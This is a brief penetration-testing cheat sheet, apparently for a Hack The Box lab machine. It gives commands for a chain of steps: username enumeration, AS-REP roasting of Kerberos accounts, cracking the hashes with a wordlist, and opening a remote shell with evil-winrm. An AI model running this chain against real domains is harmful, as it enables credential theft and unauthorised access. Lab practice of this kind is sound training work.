User-Pass Enum

Find usernames

enum4linux 10.10.10.161

**Find Passwords **(If Kerberos pre-authentication is disabled)

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -request

Save any hashes, then crack with John

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Possible Shell with creds

evil-winrm -i 10.10.10.161 -u [username] -p 'PASSWORD’